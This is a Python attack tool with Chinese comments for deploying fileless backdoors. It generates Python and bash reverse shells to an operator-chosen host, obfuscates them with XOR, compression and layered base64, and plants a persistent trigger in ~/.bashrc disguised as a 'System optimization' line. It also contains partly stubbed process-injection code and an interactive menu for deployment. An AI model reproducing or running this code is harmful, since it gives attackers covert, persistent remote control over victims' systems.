#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

无文件落地技术模块
实现内存马、base64编码执行、进程注入等无文件后门技术
"""

import os
import sys

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()
import ctypes
import base64
import random
import string
import subprocess
import threading
import time
import socket
import struct
from typing import Dict, List, Optional, Tuple

class MemoryBackdoor:
    """内存马管理器"""
    
    def __init__(self, config: Dict):
        self.config = config
        self.backdoor_code = None
        self.is_running = False
        
    def create_python_memory_backdoor(self, host: str, port: int) -> str:
        """创建Python内存马代码"""
        backdoor_template = f"""
import socket
import subprocess
import threading
import time
import base64
import hashlib
import zlib
import os

def reverse_shell():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('{host}', {port}))
        
        while True:
            command = s.recv(1024).decode('utf-8')
            if command.lower() == 'exit':
                break
            
            if command:
                try:
                    result = subprocess.run(command, shell=True, 
                                          capture_output=True, text=True)
                    output = result.stdout + result.stderr
                    s.send(output.encode('utf-8'))
                except Exception as e:
                    s.send("Error: {{}}".format(str(e)).encode('utf-8'))
        
        s.close()
    except:
        pass

def persistence_loop():
    while True:
        try:
            reverse_shell()
        except:
            pass
        time.sleep(60)

# 启动持久化线程
threading.Thread(target=persistence_loop, daemon=True).start()
        """
        
        return backdoor_template.strip()
    
    def deploy_memory_backdoor(self, host: str, port: int) -> bool:
        """部署内存马"""
        try:
            # 生成内存马代码
            backdoor_code = self.create_python_memory_backdoor(host, port)
            
            # 使用高级加密技术
            try:
                import sys
                sys.path.append('/tmp')
                from modules.security.advanced_encryption import AdvancedEncryption
                
                enc = AdvancedEncryption()
                encrypted_code = enc.encrypt_payload(backdoor_code, "fileless_backdoor")
                master_key = enc.master_key
                
                # 创建解密执行命令
                exec_command = f'''python3 -c "import sys; sys.path.append('/tmp'); from modules.security.advanced_encryption import AdvancedEncryption; enc = AdvancedEncryption('{master_key}'); exec(enc.decrypt_payload('{encrypted_code}', 'fileless_backdoor'))"'''
                
            except ImportError:
                # 降级方案：XOR + 压缩 + 十六进制编码
                import hashlib
                import zlib
                
                # 压缩
                compressed = zlib.compress(backdoor_code.encode())
                
                # XOR加密
                key = hashlib.sha256("fileless_backdoor_key".encode()).digest()
                encrypted = bytes(a ^ b for a, b in zip(compressed, key * (len(compressed) // len(key) + 1)))
                
                # 十六进制编码
                hex_data = encrypted.hex()
                key_hex = key.hex()
                
                # 创建解密执行命令
                exec_command = f'''python3 -c "import hashlib, zlib; hex_data='{hex_data}'; key_hex='{key_hex}'; encrypted = bytes.fromhex(hex_data); key = bytes.fromhex(key_hex); decrypted = bytes(a ^ b for a, b in zip(encrypted, key * (len(encrypted) // len(key) + 1))); exec(zlib.decompress(decrypted).decode())"'''
            
            # 在后台执行
            process = subprocess.Popen(exec_command, shell=True, 
                                     stdout=subprocess.DEVNULL, 
                                     stderr=subprocess.DEVNULL)
            
            print("[+] 内存马已部署，PID: {}".format(process.pid))
            print("[+] 连接地址: {}:{}".format(host, port))
            
            self.is_running = True
            return True
            
        except Exception as e:
            print("[-] 内存马部署失败: {}".format(e))
            return False
    
    def create_bash_memory_backdoor(self, host: str, port: int) -> str:
        """创建Bash内存马"""
        return f"""
bash -i >& /dev/tcp/{host}/{port} 0>&1 &
while true; do
    if ! pgrep -f "tcp/{host}/{port}" > /dev/null; then
        bash -i >& /dev/tcp/{host}/{port} 0>&1 &
    fi
    sleep 300
done &
        """

class ProcessInjection:
    """进程注入管理器"""
    
    def __init__(self, config: Dict):
        self.config = config
        
    def inject_into_process(self, target_pid: int, shellcode: bytes) -> bool:
        """向目标进程注入Shellcode"""
        try:
            # 检查权限
            if not self._check_injection_permissions(target_pid):
                print("[-] 权限不足，无法注入进程 {}".format(target_pid))
                return False
            
            # 获取进程句柄
            process_handle = self._get_process_handle(target_pid)
            if not process_handle:
                return False
            
            # 分配内存
            allocated_memory = self._allocate_memory(process_handle, len(shellcode))
            if not allocated_memory:
                return False
            
            # 写入Shellcode
            if not self._write_memory(process_handle, allocated_memory, shellcode):
                return False
            
            # 创建远程线程执行
            if self._create_remote_thread(process_handle, allocated_memory):
                print("[+] 成功注入到进程 {}".format(target_pid))
                return True
            
            return False
            
        except Exception as e:
            print("[-] 进程注入失败: {}".format(e))
            return False
    
    def _check_injection_permissions(self, pid: int) -> bool:
        """检查注入权限"""
        try:
            # 检查是否为root用户
            if os.getuid() != 0:
                return False
            
            # 检查目标进程是否存在
            if not os.path.exists(f"/proc/{pid}"):
                return False
            
            # 检查ptrace权限
            try:
                with open(f"/proc/{pid}/status", 'r') as f:
                    status = f.read()
                    if "TracerPid:\t0" not in status:
                        return False
            except:
                return False
            
            return True
        except:
            return False
    
    def _get_process_handle(self, pid: int):
        """获取进程句柄"""
        try:
            # Linux下使用ptrace
            return self._linux_attach_process(pid)
        except:
            return None
    
    def _linux_attach_process(self, pid: int):
        """Linux下附加到进程"""
        try:
            # 使用ptrace附加
            import ctypes.util
            libc = ctypes.CDLL(ctypes.util.find_library("c"))
            
            # PTRACE_ATTACH = 16
            result = libc.ptrace(16, pid, 0, 0)
            if result == 0:
                return pid
            return None
        except:
            return None
    
    def _allocate_memory(self, process_handle, size: int):
        """分配内存"""
        try:
            # Linux下使用mmap
            return self._linux_allocate_memory(process_handle, size)
        except:
            return None
    
    def _linux_allocate_memory(self, pid: int, size: int):
        """Linux下分配内存"""
        # 简化实现，实际需要更复杂的内存操作
        return 0x10000000  # 假设的内存地址
    
    def _write_memory(self, process_handle, address, data: bytes) -> bool:
        """写入内存"""
        try:
            return self._linux_write_memory(process_handle, address, data)
        except:
            return False
    
    def _linux_write_memory(self, pid: int, address: int, data: bytes) -> bool:
        """Linux下写入内存"""
        try:
            # 使用/proc/pid/mem写入
            with open("/proc/{}/mem".format(pid), "r+b") as mem_file:
                mem_file.seek(address)
                mem_file.write(data)
                return True
        except:
            return False
    
    def _create_remote_thread(self, process_handle, start_address) -> bool:
        """创建远程线程"""
        try:
            return self._linux_create_thread(process_handle, start_address)
        except:
            return False
    
    def _linux_create_thread(self, pid: int, start_address: int) -> bool:
        """Linux下创建线程"""
        # 简化实现，实际需要更复杂的线程创建
        return True

class Base64Executor:
    """Base64编码执行器"""
    
    def __init__(self, config: Dict):
        self.config = config
        
    def execute_base64_command(self, encoded_command: str) -> bool:
        """执行Base64编码的命令"""
        try:
            # 解码命令
            decoded_command = base64.b64decode(encoded_command).decode('utf-8')
            
            # 执行命令
            result = subprocess.run(decoded_command, shell=True, 
                                  capture_output=True, text=True)
            
            print(f"[+] 命令执行结果:")
            print("stdout: {}".format(result.stdout))
            if result.stderr:
                print("stderr: {}".format(result.stderr))
            
            return result.returncode == 0
            
        except Exception as e:
            print("[-] Base64命令执行失败: {}".format(e))
            return False
    
    def create_base64_backdoor(self, host: str, port: int) -> str:
        """创建Base64编码的后门"""
        backdoor_script = f"""
import socket
import subprocess
import os

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('{host}', {port}))

while True:
    cmd = s.recv(1024).decode()
    if cmd.lower() == 'exit':
        break
    
    if cmd:
        result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
        s.send((result.stdout + result.stderr).encode())

s.close()
        """
        
        # Base64编码
        encoded_script = base64.b64encode(backdoor_script.encode()).decode()
        
        # 生成执行命令
        exec_command = f'python3 -c "import base64; exec(base64.b64decode(\'{encoded_script}\').decode())"'
        
        return exec_command
    
    def create_obfuscated_payload(self, payload: str) -> str:
        """创建混淆的载荷"""
        import hashlib
        import zlib
        import random
        import string
        
        # 生成随机密钥
        random_key = ''.join(random.choices(string.ascii_letters + string.digits, k=16))
        
        # 压缩载荷
        compressed = zlib.compress(payload.encode())
        
        # XOR加密
        key = hashlib.sha256(random_key.encode()).digest()
        encrypted = bytes(a ^ b for a, b in zip(compressed, key * (len(compressed) // len(key) + 1)))
        
        # 多层编码
        hex_data = encrypted.hex()
        encoded_once = base64.b64encode(hex_data.encode()).decode()
        encoded_twice = base64.b64encode(encoded_once.encode()).decode()
        
        # 生成解码执行命令
        exec_command = f"""python3 -c "
import base64, hashlib, zlib
key = hashlib.sha256('{random_key}'.encode()).digest()
encoded_twice = '{encoded_twice}'
encoded_once = base64.b64decode(encoded_twice).decode()
hex_data = base64.b64decode(encoded_once).decode()
encrypted = bytes.fromhex(hex_data)
decrypted = bytes(a ^ b for a, b in zip(encrypted, key * (len(encrypted) // len(key) + 1)))
exec(zlib.decompress(decrypted).decode())
" """
        
        return exec_command

class EnvironmentVariableBackdoor:
    """环境变量后门管理器"""
    
    def __init__(self, config: Dict):
        self.config = config
        
    def deploy_env_backdoor(self, host: str, port: int) -> bool:
        """部署环境变量后门"""
        try:
            # 创建后门脚本
            backdoor_script = f"""
import socket
import subprocess
import threading
import time

def backdoor():
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect(('{host}', {port}))
            
            while True:
                cmd = s.recv(1024).decode()
                if not cmd:
                    break
                
                result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
                s.send((result.stdout + result.stderr).encode())
            
            s.close()
        except:
            pass
        time.sleep(60)

threading.Thread(target=backdoor, daemon=True).start()
            """
            
            # Base64编码
            encoded_script = base64.b64encode(backdoor_script.encode()).decode()
            
            # 设置环境变量
            env_var_name = self._generate_random_env_name()
            os.environ[env_var_name] = encoded_script
            
            # 创建触发器
            trigger_script = f"""
import os
import base64



if '{env_var_name}' in os.environ:
    exec(base64.b64decode(os.environ['{env_var_name}']).decode())
            """
            
            # 将触发器添加到.bashrc
            bashrc_path = os.path.expanduser("~/.bashrc")
            with open(bashrc_path, 'a') as f:
                f.write(f"\n# System optimization\npython3 -c \"{trigger_script.replace(chr(10), '; ')}\"\n")
            
            print("[+] 环境变量后门已部署: {}".format(env_var_name))
            return True
            
        except Exception as e:
            print("[-] 环境变量后门部署失败: {}".format(e))
            return False
    
    def _generate_random_env_name(self) -> str:
        """生成随机环境变量名"""
        prefixes = ["SYSTEM_", "CONFIG_", "CACHE_", "TEMP_", "LOG_"]
        suffixes = ["PATH", "CONFIG", "DATA", "CACHE", "INFO"]
        
        prefix = random.choice(prefixes)
        suffix = random.choice(suffixes)
        random_part = ''.join(random.choices(string.ascii_uppercase + string.digits, k=4))
        
        return "{}{}_{}".format(prefix, random_part, suffix)

class FilelessBackdoorManager:
    """无文件后门总管理器"""
    
    def __init__(self, config: Dict):
        self.config = config
        self.memory_backdoor = MemoryBackdoor(config)
        self.process_injection = ProcessInjection(config)
        self.base64_executor = Base64Executor(config)
        self.env_backdoor = EnvironmentVariableBackdoor(config)
        
    def deploy_all_fileless_backdoors(self, host: str, port: int) -> Dict[str, bool]:
        """部署所有无文件后门"""
        results = {}
        
        print("\n[*] 开始部署无文件后门...")
        
        # 部署内存马
        print("\n[*] 部署Python内存马...")
        results['memory_backdoor'] = self.memory_backdoor.deploy_memory_backdoor(host, port)
        
        # 部署环境变量后门
        print("\n[*] 部署环境变量后门...")
        results['env_backdoor'] = self.env_backdoor.deploy_env_backdoor(host, port + 1)
        
        # 创建Base64后门命令
        print("\n[*] 生成Base64后门命令...")
        base64_command = self.base64_executor.create_base64_backdoor(host, port + 2)
        print("[+] Base64后门命令: {}".format(base64_command))
        results['base64_backdoor'] = True
        
        return results
    
    def create_fileless_payload_collection(self, host: str, port: int) -> Dict[str, str]:
        """创建无文件载荷集合"""
        payloads = {}
        
        # Python内存马
        python_backdoor = self.memory_backdoor.create_python_memory_backdoor(host, port)
        payloads['python_memory'] = base64.b64encode(python_backdoor.encode()).decode()
        
        # Bash内存马
        bash_backdoor = self.memory_backdoor.create_bash_memory_backdoor(host, port)
        payloads['bash_memory'] = base64.b64encode(bash_backdoor.encode()).decode()
        
        # Base64混淆载荷
        simple_payload = "bash -i >& /dev/tcp/{}/{} 0>&1".format(host, port)
        payloads['obfuscated'] = self.base64_executor.create_obfuscated_payload(simple_payload)
        
        return payloads
    
    def demonstrate_fileless_techniques(self):
        """演示无文件技术"""
        print("\n=== 无文件后门技术演示 ===")
        
        # 演示1: 直接内存执行
        print("\n1. 直接内存执行:")
        demo_code = "print('Hello from memory!')"
        encoded_demo = base64.b64encode(demo_code.encode()).decode()
        exec_cmd = f'python3 -c "import base64; exec(base64.b64decode(\'{encoded_demo}\').decode())"'
        print("   命令: {}".format(exec_cmd))
        
        # 演示2: 环境变量存储
        print("\n2. 环境变量存储:")
        env_name = "DEMO_VAR"
        os.environ[env_name] = encoded_demo
        print("   环境变量: {}={}...".format(env_name, os.environ[env_name][:50]))
        
        # 演示3: 多层编码
        print("\n3. 多层编码:")
        multi_encoded = self.base64_executor.create_obfuscated_payload(demo_code)
        print("   多层编码命令: {}...".format(multi_encoded[:100]))

def main():
    """主函数"""
    config = {
        'default_host': '192.168.1.100',
        'default_port': 4444,
        'encoding_layers': 2
    }
    
    manager = FilelessBackdoorManager(config)
    
    print("=== 无文件后门技术工具 ===")
    print("1. 部署所有无文件后门")
    print("2. 生成载荷集合")
    print("3. 技术演示")
    print("4. 执行Base64命令")
    
    choice = input("请选择操作: ")
    
    if choice == "1":
        host = input("目标主机 [{}]: ".format(config['default_host'])) or config['default_host']
        port = int(input("目标端口 [{}]: ".format(config['default_port'])) or config['default_port'])
        
        results = manager.deploy_all_fileless_backdoors(host, port)
        print("\n部署结果: {}".format(results))
        
    elif choice == "2":
        host = input("目标主机 [{}]: ".format(config['default_host'])) or config['default_host']
        port = int(input("目标端口 [{}]: ".format(config['default_port'])) or config['default_port'])
        
        payloads = manager.create_fileless_payload_collection(host, port)
        print("\n=== 载荷集合 ===")
        for name, payload in payloads.items():
            print("\n{}:".format(name))
            print("  {}...".format(payload[:100]))
            
    elif choice == "3":
        manager.demonstrate_fileless_techniques()
        
    elif choice == "4":
        encoded_cmd = input("请输入Base64编码的命令: ")
        manager.base64_executor.execute_base64_command(encoded_cmd)
        
    else:
        print("无效选择")

if __name__ == "__main__":
    main()